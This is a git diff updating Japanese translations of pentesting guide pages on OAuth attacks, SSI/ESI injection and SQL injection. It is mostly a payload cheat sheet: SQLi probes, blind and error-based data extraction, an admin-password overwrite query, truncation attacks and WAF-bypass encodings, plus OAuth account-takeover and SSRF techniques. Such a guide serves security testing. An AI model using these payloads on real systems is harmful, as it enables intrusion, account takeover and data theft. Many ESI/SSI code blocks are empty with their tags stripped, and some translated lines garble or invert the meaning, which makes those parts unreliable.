-このプロンプトを回避するために、**returnUrl**を使用してこのRUクッキーを設定するために**Oauthフロー**を開始するタブを開き、プロンプトが表示される前にタブを閉じ、新しいタブをその値なしで開くことが可能でした。そうすると、**プロンプトは攻撃者のホストについて通知しませんが、クッキーはそれに設定されるため、**トークンはリダイレクトで攻撃者のホストに送信されます**。 +このプロンプトを回避するために、**Oauthフロー**を開始するためのタブを開き、**returnUrl**を使用してこのRUクッキーを設定し、プロンプトが表示される前にタブを閉じ、新しいタブをその値なしで開くことが可能でした。そうすると、**プロンプトは攻撃者のホストについて通知しませんが、クッキーはそれに設定されるため、**トークンはリダイレクトで攻撃者のホストに送信されます**。 -### Prompt Interaction Bypass +### プロンプトインタラクションバイパス -[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、一部のOAuth実装では、**`prompt`** GETパラメータをNone(**`&prompt=none`**)として指定することで、ユーザーがプラットフォームにすでにログインしている場合に、ウェブ上で与えられたアクセスを確認するように求められないようにすることができます。 +[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、一部のOAuth実装では、**`prompt`** GETパラメータをNone(**`&prompt=none`**)として指定することができ、ユーザーがプラットフォームにすでにログインしている場合、ウェブでのアクセス確認を求められないようにすることができます。 ### response_mode -[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、**`response_mode`**パラメータを指定して、最終URLでコードをどこに提供したいかを示すことが可能です: +[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、**`response_mode`**パラメータを指定して、最終URLでコードをどこに提供するかを示すことが可能です: - `response_mode=query` -> コードはGETパラメータ内に提供されます:`?code=2397rf3gu93f` - `response_mode=fragment` -> コードはURLフラグメントパラメータ内に提供されます`#code=2397rf3gu93f` - `response_mode=form_post` -> コードは`code`という入力を持つPOSTフォーム内に提供されます - `response_mode=web_message` -> コードはポストメッセージで送信されます:`window.opener.postMessage({"code": "asdasdasd...` -### OAuth ROPC flow - 2 FA bypass +### OAuth ROPCフロー - 2FAバイパス -[**このブログ投稿によると**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96)、これは**ユーザー名**と**パスワード**を介してOAuthにログインすることを可能にするOAuthフローです。この単純なフロー中に、ユーザーが実行できるすべてのアクションへのアクセスを持つ**トークン**が返される場合、そのトークンを使用して2FAを回避することが可能です。 +[**このブログ投稿によると**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96)、これは**ユーザー名**と**パスワード**を介してOAuthにログインすることを可能にするOAuthフローです。この単純なフロー中に、ユーザーが実行できるすべてのアクションへのアクセスを持つ**トークン**が返される場合、そのトークンを使用して2FAをバイパスすることが可能です。 -### ATO on web page redirecting based on open redirect to referrer +### オープンリダイレクトに基づくウェブページのリダイレクトでのATO -この[**ブログ投稿**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)は、**オープンリダイレクト**を利用して**リファラー**からの値を使用してOAuthを悪用し、ATOを実行する方法について説明しています。攻撃は次のとおりです: +この[**ブログ投稿**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)は、**オープンリダイレクト**を利用して**リファラー**からの値を悪用し、OAuthを使用してATOを行う方法について説明しています。攻撃は次の通りです: 1. 被害者が攻撃者のウェブページにアクセスします 2. 被害者が悪意のあるリンクを開くと、オープナーが`response_type=id_token,code&prompt=none`を追加パラメータとして使用してGoogle OAuthフローを開始します。**リファラーは攻撃者のウェブサイト**です。 3. オープナーで、プロバイダーが被害者を認証すると、`redirect_uri`パラメータの値(被害者のウェブ)に30Xコードで戻します。これにより、攻撃者のウェブサイトがリファラーに残ります。 4. 被害者の**ウェブサイトはリファラーに基づいてオープンリダイレクトをトリガーし**、被害者のユーザーを攻撃者のウェブサイトにリダイレクトします。**`respose_type`**が**`id_token,code`**であったため、コードはURLの**フラグメント**で攻撃者に返され、被害者のサイトでGoogleを介してユーザーのアカウントを乗っ取ることができます。 -### SSRFs parameters +### SSRFsパラメータ [**この研究を確認してください**](https://portswigger.net/research/hidden-oauth-attack-vectors) **この技術の詳細について。** -OAuthにおける動的クライアント登録は、特に**サーバーサイドリクエストフォージェリ(SSRF)**攻撃に対するセキュリティ脆弱性の重要なベクトルとして機能します。このエンドポイントは、OAuthサーバーがクライアントアプリケーションに関する詳細を受け取ることを可能にし、悪用される可能性のある機密URLを含みます。 +OAuthにおける動的クライアント登録は、**サーバーサイドリクエストフォージェリ(SSRF)**攻撃に対する明白ではないが重要なベクトルとして機能します。このエンドポイントは、OAuthサーバーがクライアントアプリケーションに関する詳細を受け取ることを可能にし、悪用される可能性のある機密URLを含みます。 **重要なポイント:** -- **動的クライアント登録**は通常`/register`にマッピングされ、`client_name`、`client_secret`、`redirect_uris`、ロゴやJSON Web Key Sets(JWKs)のURLなどの詳細をPOSTリクエストで受け入れます。 +- **動的クライアント登録**は通常`/register`にマッピングされ、`client_name`、`client_secret`、`redirect_uris`、およびロゴやJSON Web Key Sets(JWKs)のURLなどの詳細をPOSTリクエストで受け入れます。 - この機能は、**RFC7591**および**OpenID Connect Registration 1.0**に記載された仕様に準拠しており、SSRFに対して脆弱なパラメータを含んでいます。 - 登録プロセスは、いくつかの方法でサーバーをSSRFにさらす可能性があります: -- **`logo_uri`**:サーバーによって取得される可能性のあるクライアントアプリケーションのロゴのURLで、SSRFを引き起こすか、URLが誤って処理された場合にXSSを引き起こす可能性があります。 +- **`logo_uri`**:サーバーによって取得される可能性のあるクライアントアプリケーションのロゴのURLで、SSRFを引き起こすか、URLが不適切に処理された場合にXSSを引き起こす可能性があります。 - **`jwks_uri`**:クライアントのJWKドキュメントへのURLで、悪意を持って作成された場合、サーバーが攻撃者が制御するサーバーへの外部リクエストを行う可能性があります。 - **`sector_identifier_uri`**:サーバーが取得する可能性のある`redirect_uris`のJSON配列を参照し、SSRFの機会を生み出します。 -- **`request_uris`**:クライアントの許可されたリクエストURIをリストし、サーバーが認可プロセスの開始時にこれらのURIを取得する場合に悪用される可能性があります。 +- **`request_uris`**:クライアントのために許可されたリクエストURIをリストし、サーバーが認可プロセスの開始時にこれらのURIを取得する場合に悪用される可能性があります。 **悪用戦略:** - SSRFは、`logo_uri`、`jwks_uri`、または`sector_identifier_uri`のパラメータに悪意のあるURLを持つ新しいクライアントを登録することでトリガーされる可能性があります。 - `request_uris`を介した直接的な悪用はホワイトリスト制御によって軽減される可能性がありますが、事前に登録された攻撃者が制御する`request_uri`を提供することで、認可フェーズ中にSSRFを促進することができます。 -## OAuth providers Race Conditions +## OAuthプロバイダーのレース条件 テストしているプラットフォームがOAuthプロバイダーである場合、[**レース条件の可能性をテストするためにこれを読んでください**](race-condition.md)。 -## References +## 参考文献 - [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1) - [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors) - {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md index 909092318..0ec2cf7f3 100644 --- a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md +++ b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md @@ -6,7 +6,7 @@ **(紹介は** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**からのものです)** -SSI (Server Side Includes) は、**HTMLページに配置され、ページが提供される際にサーバー上で評価される指示文**です。これにより、**既存のHTMLページに動的に生成されたコンテンツを追加**することができ、CGIプログラムや他の動的技術を介してページ全体を提供する必要がありません。\ +SSI (Server Side Includes) は、**HTMLページに配置され、ページが提供される際にサーバーで評価される指示文**です。これにより、**既存のHTMLページに動的に生成されたコンテンツを追加**することができ、CGIプログラムや他の動的技術を介してページ全体を提供する必要がありません。\ 例えば、既存のHTMLページに次のような指示文を配置することができます: `` @@ -17,7 +17,7 @@ SSI (Server Side Includes) は、**HTMLページに配置され、ページが SSIを使用するタイミングと、ページ全体をプログラムによって生成するタイミングの決定は、通常、ページのどの部分が静的で、どの部分がページが提供されるたびに再計算される必要があるかの問題です。SSIは、上記のように現在の時刻などの小さな情報を追加するのに最適な方法です。しかし、ページの大部分が提供される際に生成される場合は、他の解決策を探す必要があります。 -ウェブアプリケーションが拡張子が**`.shtml`、`.shtm`、または`.stm`**のファイルを使用している場合、SSIの存在を推測できますが、それだけではありません。 +ウェブアプリケーションが拡張子s**`.shtml`, `.shtm` または `.stm`**のファイルを使用している場合、SSIの存在を推測できますが、それだけではありません。 典型的なSSI表現は次の形式を持っています: ``` @@ -54,18 +54,18 @@ SSIを使用するタイミングと、ページ全体をプログラムによ ``` -## Edge Side Inclusion +## エッジサイドインクルージョン -情報や動的アプリケーションを**キャッシュする**ことには問題があります。コンテンツの一部は次回コンテンツが取得される際に**異なる**可能性があります。これが**ESI**が使用される理由であり、ESIタグを使用して**生成する必要がある動的コンテンツ**を示します。\ +**動的アプリケーション**の情報を**キャッシュ**する際の問題は、コンテンツの一部が次回コンテンツが取得される際に**異なる**可能性があることです。これが**ESI**が使用される理由であり、ESIタグを使用して**生成する必要がある動的コンテンツ**を示します。\ もし**攻撃者**がキャッシュコンテンツ内に**ESIタグを注入**できれば、ユーザーに送信される前に文書に**任意のコンテンツを注入**できる可能性があります。 -### ESI Detection +### ESI検出 サーバーからのレスポンスにおける以下の**ヘッダー**は、サーバーがESIを使用していることを意味します: ``` Surrogate-Control: content="ESI/1.0" ``` -このヘッダーが見つからない場合、サーバーは**ESIを使用している可能性があります**。\ +このヘッダーが見つからない場合、サーバーは**それでもESIを使用している可能性があります**。\ **盲目的なエクスプロイト手法も使用できます**。リクエストは攻撃者のサーバーに到達する必要があります: ```javascript // Basic detection @@ -95,16 +95,16 @@ hello - **Vars**: ``ディレクティブをサポート。XSSフィルターをバイパスするのに便利 - **Cookie**: ドキュメントクッキーはESIエンジンにアクセス可能 - **Upstream Headers Required**: 上流アプリケーションがヘッダーを提供しない限り、サロゲートアプリケーションはESIステートメントを処理しない -- **Host Allowlist**: この場合、ESIインクルードは許可されたサーバーホストからのみ可能であり、例えばSSRFはこれらのホストに対してのみ可能 +- **Host Allowlist**: この場合、ESIのインクルードは許可されたサーバーホストからのみ可能であり、例えばSSRFはこれらのホストに対してのみ可能 | **ソフトウェア** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** | -| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: | -| Squid3 | はい | はい | はい | はい | いいえ | -| Varnish Cache | はい | いいえ | いいえ | はい | はい | -| Fastly | はい | いいえ | いいえ | いいえ | はい | -| Akamai ESIテストサーバー (ETS) | はい | はい | はい | いいえ | いいえ | -| NodeJS esi | はい | はい | はい | いいえ | いいえ | -| NodeJS nodesi | はい | いいえ | いいえ | いいえ | オプション | +| :------------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: | +| Squid3 | Yes | Yes | Yes | Yes | No | +| Varnish Cache | Yes | No | No | Yes | Yes | +| Fastly | Yes | No | No | No | Yes | +| Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No | +| NodeJS esi | Yes | Yes | Yes | No | No | +| NodeJS nodesi | Yes | No | No | No | Optional | #### XSS @@ -127,7 +127,7 @@ Use to bypass WAFs: ``` -- XSSを使用してHTTP_ONLYクッキーを応答に反映させて盗む: +- XSSを使用してHTTP_ONLYクッキーを盗むには、それをレスポンスに反映させます: ```bash # This will reflect the cookies in the response @@ -146,9 +146,9 @@ Use to bypass WAFs: ```markup ``` -#### Open Redirect +#### オープンリダイレクト -以下は、レスポンスに `Location` ヘッダーを追加します。 +次の内容は、レスポンスに `Location` ヘッダーを追加します。 ```bash ``` @@ -160,7 +160,7 @@ Use to bypass WAFs: ``` -- レスポンスにヘッダーを追加する(XSSを使用して「Content-Type: text/json」をバイパスするのに役立ちます) +- レスポンスにヘッダーを追加する(XSSを使用して"Content-Type: text/json"をバイパスするのに役立ちます) ```bash @@ -183,7 +183,7 @@ Host: anotherhost.com"/> ``` ### ESI + XSLT = XXE -ESIで**`eXtensible Stylesheet Language Transformations (XSLT)`**構文を使用することが可能で、単にパラメータ**`dca`**の値を**`xslt`**として指定するだけです。これにより、**XSLT**を悪用してXML外部エンティティ脆弱性(XXE)を作成および悪用することができるかもしれません: +**`eXtensible Stylesheet Language Transformations (XSLT)`** の構文を ESI で使用することが可能で、単にパラメータ **`dca`** の値を **`xslt`** と指定するだけです。これにより、**XSLT** を悪用して XML 外部エンティティ脆弱性 (XXE) を作成および悪用することができるかもしれません: ```xml ``` @@ -207,6 +207,8 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md ## ブルートフォース検出リスト -{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %} +{{#ref}} +https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/README.md b/src/pentesting-web/sql-injection/README.md index 0730c8d2a..75a2dd3b1 100644 --- a/src/pentesting-web/sql-injection/README.md +++ b/src/pentesting-web/sql-injection/README.md @@ -2,14 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} - ## SQLインジェクションとは? -**SQLインジェクション**は、攻撃者がアプリケーションの**データベースクエリに干渉する**ことを可能にするセキュリティの欠陥です。この脆弱性により、攻撃者は**見る**、**変更する**、または**削除する**ことができるデータにアクセスできるようになり、他のユーザーの情報やアプリケーションがアクセスできる任意のデータを含みます。このような行動は、アプリケーションの機能やコンテンツに永続的な変更をもたらしたり、サーバーの侵害やサービス拒否を引き起こす可能性があります。 +**SQLインジェクション**は、攻撃者がアプリケーションのデータベースクエリに**干渉する**ことを可能にするセキュリティの欠陥です。この脆弱性により、攻撃者は**見る**、**変更する**、または**削除する**ことができないデータにアクセスできるようになり、他のユーザーの情報やアプリケーションがアクセスできる任意のデータを含みます。このような行動は、アプリケーションの機能やコンテンツに永続的な変更をもたらしたり、サーバーの侵害やサービス拒否を引き起こす可能性があります。 ## エントリーポイントの検出 -サイトがSQLi関連の入力に対して異常なサーバー応答を示す場合、**SQLインジェクション(SQLi)に対して脆弱である**と見なされます。**最初のステップ**は、**クエリを中断することなくデータを注入する**方法を理解することです。これには、**現在のコンテキストから効果的に脱出する**方法を特定する必要があります。以下は役立ついくつかの例です: +サイトがSQLi関連の入力に対して異常なサーバー応答を示す場合、**SQLインジェクション(SQLi)**に**脆弱である**と見なされます。**最初のステップ**は、**クエリを中断することなくデータを注入する**方法を理解することです。これには、**現在のコンテキストから効果的に脱出する**方法を特定する必要があります。以下は有用な例です: ``` [Nothing] ' @@ -24,7 +23,7 @@ ``` 次に、**エラーが出ないようにクエリを修正する方法**を知っておく必要があります。クエリを修正するためには、**データを入力して**、**以前のクエリが新しいデータを受け入れるようにする**か、単に**データを入力して**、**最後にコメント記号を追加する**ことができます。 -_エラーメッセージが見える場合や、クエリが正常に動作しているときとそうでないときの違いを見つけることができれば、このフェーズはより簡単になります。_ +_エラーメッセージが見える場合や、クエリが正常に動作しているときとそうでないときの違いを見つけられる場合、このフェーズはより簡単になります。_ ### **コメント** ```sql @@ -71,7 +70,7 @@ page.asp?id=1 and 1=2 -- results in false ### タイミングによる確認 -場合によっては、テストしているページに**変化が見られない**ことがあります。したがって、**ブラインドSQLインジェクションを発見する**良い方法は、DBにアクションを実行させ、ページの読み込みにかかる**時間に影響を与える**ことです。\ +場合によっては、テストしているページに**変化が見られない**ことがあります。したがって、**ブラインドSQLインジェクションを発見する**良い方法は、DBにアクションを実行させ、ページの読み込みに**時間に影響を与える**ことです。\ したがって、SQLクエリに完了するのに多くの時間がかかる操作を連結します: ``` MySQL (string concat and logical ops) @@ -94,11 +93,11 @@ SQLite 1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) 1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) ``` -場合によっては、**スリープ関数が許可されない**ことがあります。その場合、これらの関数を使用する代わりに、**複雑な操作を実行する**クエリを作成することができます。_これらの技術の例は、各技術ごとに別々にコメントされる予定です(ある場合)_。 +場合によっては、**sleep関数が許可されない**ことがあります。その場合、これらの関数を使用する代わりに、クエリを**複雑な操作を実行させる**ことができ、数秒かかるようにすることができます。_これらの技術の例は、各技術ごとに別途コメントされる予定です(ある場合)_。 ### バックエンドの特定 -バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行しようとすることです。前のセクションの_**スリープ**_ **関数**や、次のものを使用できます([payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)の表): +バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行しようとすることです。前のセクションの_**sleep**_ **関数**や、これらの関数を使用することができます([payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)の表): ```bash ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"], ["connection_id()=connection_id()" ,"MYSQL"], @@ -133,7 +132,9 @@ SQLite ### PortSwiggerを使用した識別 -{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %} +{{#ref}} +https://portswigger.net/web-security/sql-injection/cheat-sheet +{{#endref}} ## ユニオンベースの悪用 @@ -145,7 +146,7 @@ SQLite #### Order/Group by -クエリのカラム数を特定するために、**ORDER BY**または**GROUP BY**句で使用される数を段階的に調整し、誤った応答が返されるまで続けます。SQL内の**GROUP BY**と**ORDER BY**の異なる機能にもかかわらず、両方はクエリのカラム数を特定するために同様に利用できます。 +クエリ内のカラム数を特定するには、**ORDER BY**または**GROUP BY**句で使用される数を段階的に調整し、誤った応答が返されるまで続けます。SQL内の**GROUP BY**と**ORDER BY**の異なる機能にもかかわらず、両方はクエリのカラム数を特定するために同様に利用できます。 ```sql 1' ORDER BY 1--+ #True 1' ORDER BY 2--+ #True @@ -171,7 +172,7 @@ SQLite ``` _クエリの両側の列の型が同じでなければならない場合があるため、`null`値を使用する必要があります。nullはすべてのケースで有効です。_ -### データベース名、テーブル名、列名の抽出 +### データベース名、テーブル名、および列名の抽出 次の例では、すべてのデータベースの名前、データベースのテーブル名、テーブルの列名を取得します: ```sql @@ -184,35 +185,35 @@ _クエリの両側の列の型が同じでなければならない場合があ #Column names -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name] ``` -_異なるデータベースごとにこのデータを発見する方法は異なりますが、常に同じ方法論です。_ +_このデータを発見する方法は、異なるデータベースごとに異なりますが、常に同じ方法論です。_ ## 隠れたユニオンベースの悪用 -クエリの出力が表示されているが、ユニオンベースのインジェクションが達成できない場合、それは**隠れたユニオンベースのインジェクション**の存在を示しています。このシナリオはしばしばブラインドインジェクションの状況につながります。ブラインドインジェクションをユニオンベースのものに変換するには、バックエンドでの実行クエリを特定する必要があります。 +クエリの出力が表示されているが、ユニオンベースのインジェクションが達成できない場合、それは**隠れたユニオンベースのインジェクション**の存在を示しています。このシナリオは、しばしばブラインドインジェクションの状況につながります。ブラインドインジェクションをユニオンベースのものに変換するには、バックエンドでの実行クエリを特定する必要があります。 これは、ブラインドインジェクション技術とターゲットのデータベース管理システム(DBMS)に特有のデフォルトテーブルを使用することで達成できます。これらのデフォルトテーブルを理解するためには、ターゲットDBMSのドキュメントを参照することをお勧めします。 -クエリが抽出されたら、元のクエリを安全に閉じるようにペイロードを調整する必要があります。その後、ペイロードにユニオンクエリを追加し、新たにアクセス可能なユニオンベースのインジェクションを悪用できるようにします。 +クエリが抽出されたら、元のクエリを安全に閉じるようにペイロードを調整する必要があります。その後、ユニオンクエリをペイロードに追加し、新たにアクセス可能なユニオンベースのインジェクションを悪用できるようにします。 より包括的な洞察については、[Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)で利用可能な完全な記事を参照してください。 ## エラーベースの悪用 何らかの理由で**クエリ**の**出力**を見ることができないが、**エラーメッセージ**を見ることができる場合、これらのエラーメッセージを使用してデータベースからデータを**抽出**することができます。\ -ユニオンベースの悪用と同様の流れに従って、DBをダンプすることができるかもしれません。 +ユニオンベースの悪用と同様の流れに従うことで、DBをダンプすることができるかもしれません。 ```sql (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) ``` ## ブラインドSQLiの悪用 -この場合、クエリの結果やエラーを見ることはできませんが、クエリが**true**または**false**の応答を**返す**ときに区別することができます。なぜなら、ページ上の内容が異なるからです。\ +この場合、クエリの結果やエラーを見ることはできませんが、クエリが**真**または**偽**の応答を**返す**ときに、ページ上の異なる内容があるため、**区別**することができます。\ この場合、その動作を悪用してデータベースを文字ごとにダンプすることができます: ```sql ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A' ``` ## エラー盲目的SQLiの悪用 -これは**以前と同じケース**ですが、クエリからの真/偽の応答を区別する代わりに、SQLクエリの**エラー**があるかどうかを**区別する**ことができます(おそらくHTTPサーバーがクラッシュするため)。したがって、この場合、正しく文字を推測するたびにSQLエラーを強制することができます: +これは**以前と同じケース**ですが、クエリからの真/偽の応答を区別する代わりに、SQLクエリの**エラー**があるかどうかを**区別する**ことができます(おそらくHTTPサーバーがクラッシュするため)。したがって、この場合、正しく文字を推測するたびにSQLエラーを強制することができます: ```sql AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - ``` @@ -226,7 +227,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - スタッククエリを使用して、**複数のクエリを連続して実行**できます。後続のクエリが実行される間、**結果**は**アプリケーションに返されない**ことに注意してください。したがって、この技術は主に**ブラインド脆弱性**に関連して使用され、2番目のクエリを使用してDNSルックアップ、条件付きエラー、またはタイムディレイをトリガーできます。 -**Oracle**は**スタッククエリ**をサポートしていません。**MySQL、Microsoft**、および**PostgreSQL**はそれらをサポートしています: `QUERY-1-HERE; QUERY-2-HERE` +**Oracle**は**スタッククエリ**をサポートしていません。**MySQL、Microsoft**、および**PostgreSQL**はそれをサポートしています: `QUERY-1-HERE; QUERY-2-HERE` ## アウトオブバンドエクスプロイト @@ -307,21 +308,21 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ ### 既存のオブジェクト/ユーザーのパスワードを変更する -そのためには、**「マスターオブジェクト」として名付けられた新しいオブジェクトを作成する**(おそらく**admin**の場合)何かを変更する必要があります: +そのためには、**「マスターオブジェクト」として名付けられた新しいオブジェクトを作成する**ことを試みるべきです(おそらく**admin**の場合)。 - 名前を**AdMIn**(大文字と小文字の文字)としてユーザーを作成する - 名前を**admin=**としてユーザーを作成する -- **SQLトランケーション攻撃**(ユーザー名またはメールに**長さ制限**がある場合) --> 名前を**admin \[たくさんのスペース] a**としてユーザーを作成する +- **SQLトランケーション攻撃**(ユーザー名やメールに**長さ制限**がある場合) --> 名前を**admin \[たくさんのスペース] a**としてユーザーを作成する #### SQLトランケーション攻撃 -データベースが脆弱で、ユーザー名の最大文字数が例えば30で、ユーザー**admin**を偽装したい場合、"_admin \[30スペース] a_"というユーザー名を作成してみてください。 +データベースが脆弱で、ユーザー名の最大文字数が例えば30の場合、ユーザー**admin**を偽装したい場合は、"_admin \[30スペース] a_"というユーザー名を作成し、任意のパスワードを使用してみてください。 -データベースは、入力された**ユーザー名**がデータベース内に**存在するか**を**確認**します。もし**存在しなければ**、**ユーザー名**を**最大許可文字数**(この場合は"_admin \[25スペース]_"に)**切り詰め**、その後、**データベース内のユーザー「admin」を新しいパスワードで更新する際に、末尾のすべてのスペースを自動的に削除します**(エラーが表示される可能性がありますが、これは機能しなかったことを意味しません)。 +データベースは、入力された**ユーザー名**がデータベース内に**存在するか**を**確認**します。もし**存在しなければ**、**ユーザー名**を**最大許可文字数**(この場合は"_admin \[25スペース]_"に)**切り詰め**、その後、**自動的に末尾のすべてのスペースを削除して**、データベース内のユーザー"**admin**"を**新しいパスワード**で更新します(エラーが表示される可能性がありますが、これは成功しなかったことを意味しません)。 詳細情報: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) -_注: この攻撃は、最新のMySQLインストールでは上記のようには機能しなくなります。比較はデフォルトで末尾の空白を無視しますが、フィールドの長さよりも長い文字列を挿入しようとするとエラーが発生し、挿入は失敗します。このチェックに関する詳細情報は:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation) +_注: この攻撃は、最新のMySQLインストールでは上記のようには機能しなくなります。比較はデフォルトで末尾の空白を無視しますが、フィールドの長さを超える文字列を挿入しようとするとエラーが発生し、挿入は失敗します。このチェックに関する詳細情報は:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation) ### MySQL挿入時間ベースのチェック @@ -331,11 +332,11 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20- ``` ### ON DUPLICATE KEY UPDATE -MySQLの`ON DUPLICATE KEY UPDATE`句は、UNIQUEインデックスまたはPRIMARY KEYで重複する値を生成する行を挿入しようとしたときに、データベースが取るべきアクションを指定するために使用されます。以下の例は、この機能がどのように悪用されて管理者アカウントのパスワードを変更するために利用されるかを示しています。 +MySQLの`ON DUPLICATE KEY UPDATE`句は、UNIQUEインデックスまたはPRIMARY KEYで重複する値が発生する行を挿入しようとしたときに、データベースが実行するアクションを指定するために使用されます。以下の例は、この機能がどのように悪用されて管理者アカウントのパスワードを変更するかを示しています。 Example Payload Injection: -注入ペイロードは次のように作成される可能性があり、`users`テーブルに2行を挿入しようとしています。最初の行はおとりで、2番目の行は既存の管理者のメールアドレスをターゲットにしてパスワードを更新する意図があります: +注入ペイロードは次のように作成される可能性があり、`users`テーブルに2行を挿入しようとします。最初の行はおとりで、2番目の行は既存の管理者のメールアドレスをターゲットにしてパスワードを更新することを意図しています: ```sql INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- "; ``` @@ -377,9 +378,9 @@ __import__('binascii').unhexlify(hex(215573607263)[2:]) #Full ascii uppercase and lowercase replace: '+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' ``` -## ルーティングされたSQLインジェクション +## ルーティッドSQLインジェクション -ルーティングされたSQLインジェクションは、注入可能なクエリが出力を生成するものではなく、注入可能なクエリの出力が出力を生成するクエリに送られる状況です。 ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)) +ルーティッドSQLインジェクションは、注入可能なクエリが出力を生成するものではなく、注入可能なクエリの出力が出力を生成するクエリに送られる状況です。 ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)) 例: ``` @@ -401,7 +402,7 @@ No Space (%20) - ホワイトスペースの代替を使用してバイパス ?id=1%0Aand%0A1=1%0A-- ?id=1%A0and%A01=1%A0-- ``` -ホワイトスペースなし - コメントを使用してバイパス +ホワイトスペースなし - コメントを使用してバイパスする ```sql ?id=1/*comment*/and/**/1=1/**/-- ``` @@ -409,9 +410,9 @@ No Space (%20) - ホワイトスペースの代替を使用してバイパス ```sql ?id=(1)and(1)=(1)-- ``` -### No commas bypass +### カンマバイパスなし -No Comma - OFFSET、FROM、JOINを使用したバイパス +No Comma - OFFSET、FROM、およびJOINを使用したバイパス ``` LIMIT 0,1 -> LIMIT 1 OFFSET 0 SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). @@ -425,7 +426,7 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE ?id=1 AnD 1=1# ?id=1 aNd 1=1# ``` -キーワードを使用したブラックリスト(大文字と小文字を区別しない) - 同等の演算子を使用してバイパス +キーワードを使用したブラックリスト(大文字と小文字を区別しない) - 同等の演算子を使用してバイパスする ``` AND -> && -> %26%26 OR -> || -> %7C%7C @@ -436,7 +437,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database()) ### 科学的表記法によるWAFバイパス このトリックの詳細な説明は[gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)で見つけることができます。\ -基本的に、科学的表記法を予期しない方法で使用してWAFをバイパスすることができます: +基本的に、科学的表記法を予期しない方法で使用することで、WAFをバイパスすることができます: ``` -1' or 1.e(1) 